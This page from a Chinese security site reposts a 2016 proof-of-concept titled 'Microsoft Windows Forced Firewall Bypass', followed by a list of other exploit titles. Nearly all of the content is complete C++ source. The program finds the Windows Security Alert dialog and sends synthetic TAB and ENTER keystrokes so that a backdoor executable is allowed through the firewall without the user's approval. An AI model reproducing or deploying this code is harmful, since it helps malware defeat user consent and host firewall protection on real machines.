首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Windows Forced Firewall Bypass
来源:coolerlair@gmail.com 作者:coolervoid 发布时间:2016-06-06  

/*
A Proof of Concept how bypass windows firewall
Tested at windows 7

Author: Antonio Costa aka Cooler_,  CoolerVoid
coolerlair@gmail.com

Greetz: M0nad, I4K, Slyfunky, Sigsegv, RaphaelSC, MMxM, F-117, Clandestine, LoganBr, Welias, Luanzeiro, Alan JUmpi...

This bypass the windows firewall, Search firewall GUI if found uses winapi to simulate keystroke tab, enter to allow access of firewall

Example:

g++ bypass_firewall.cpp -o bypass

Click in open at bypass.exe, leave program running

run backdoor.exe, wait the alert of firewall window appear,  look the programm bypass.exe make the bypass at window!

*/
#define WINVER 0x0500
#include <string>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

using namespace std;
using std::string;

string GetActiveWindowTitle()
{
 char wnd_title[256];
 
 HWND hwnd=GetForegroundWindow();
 GetWindowText(hwnd,wnd_title,sizeof(wnd_title));
 
 return wnd_title;
}

BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
 char buffer[128]; 
     int written = GetWindowTextA(hwnd, buffer, 128);

     if (written && strstr(buffer,"Windows Security Alert") != NULL) // name of firewall GUI title
 {
         *(HWND*)lParam = hwnd;
         return FALSE;
     }

    return TRUE;
}

HWND GetFirewall()
{
    HWND hWnd = NULL;
    EnumWindows(EnumWindowsProc, (LPARAM)&hWnd);
    return hWnd;
}

int main()
{
 short first=0;
PULLBACK:
   
   HWND alertwindow = GetFirewall();
  
  
// detect firewall alert window...
   if(BringWindowToTop(alertwindow))
   {
    INPUT ip;
    
    DWORD dwCurrentThread = GetCurrentThreadId();
    DWORD dwFGThread      = GetWindowThreadProcessId(GetForegroundWindow(), NULL);
    AttachThreadInput(dwCurrentThread, dwFGThread, TRUE);
    SetForegroundWindow(alertwindow);
    AttachThreadInput(dwCurrentThread, dwFGThread, FALSE);
    SetForegroundWindow(alertwindow);
    
    puts("\nBINGOOO\n");
    Sleep(100); // you can change the wait time
    
    SetForegroundWindow(alertwindow); 
    short x=6;
    
// press TAB six times to leave to Allow Acess button
    while(x && first!=0)
    {
     ip.type = INPUT_KEYBOARD;
     ip.ki.wScan = 0;
     ip.ki.time = 0;
     ip.ki.dwExtraInfo = 0;
     ip.ki.wVk = 0x09; // virtual-key code of TAB
     ip.ki.dwFlags = 0;
     SendInput(1, &ip, sizeof(INPUT));
     ip.ki.dwFlags = KEYEVENTF_KEYUP;
     SendInput(1, &ip, sizeof(INPUT));
     Sleep(100);
     x--;
    }
    
    if(!x && first!=0)
    {
// press ENTER at Allow Acess button
     ip.type = INPUT_KEYBOARD;
     ip.ki.wScan = 0;
     ip.ki.time = 0;
     ip.ki.dwExtraInfo = 0;
 
     ip.ki.wVk = 0x0D; // virtual-key code of ENTER
     ip.ki.dwFlags = 0;
     SendInput(1, &ip, sizeof(INPUT));
     ip.ki.dwFlags = KEYEVENTF_KEYUP;
     SendInput(1, &ip, sizeof(INPUT));
    }
    first=1; 
    Sleep(150); // wait time

   }
  
   Sleep(200); 

 goto PULLBACK;
 
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Boxoft Wav To MP3 Converter 1.
·Magento 2.0.6 Unserialize Remo
·Konica Minolta FTP Utility 1.0
·Apache Continuum 1.4.2 Command
·HP Data Protector A.09.00 - En
·Poison Ivy 2.1.x C2 Buffer Ove
·TCPDump 4.5.1 - Crash PoC
·Dell OpenManage Server Adminis
·CCextractor 0.80 - Crash PoC
·Mobiketa 1.0 - CSRF Add Admin
·FlatPress 1.0.3 - CSRF Arbitra
·Armadito Antimalware - Backdoo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved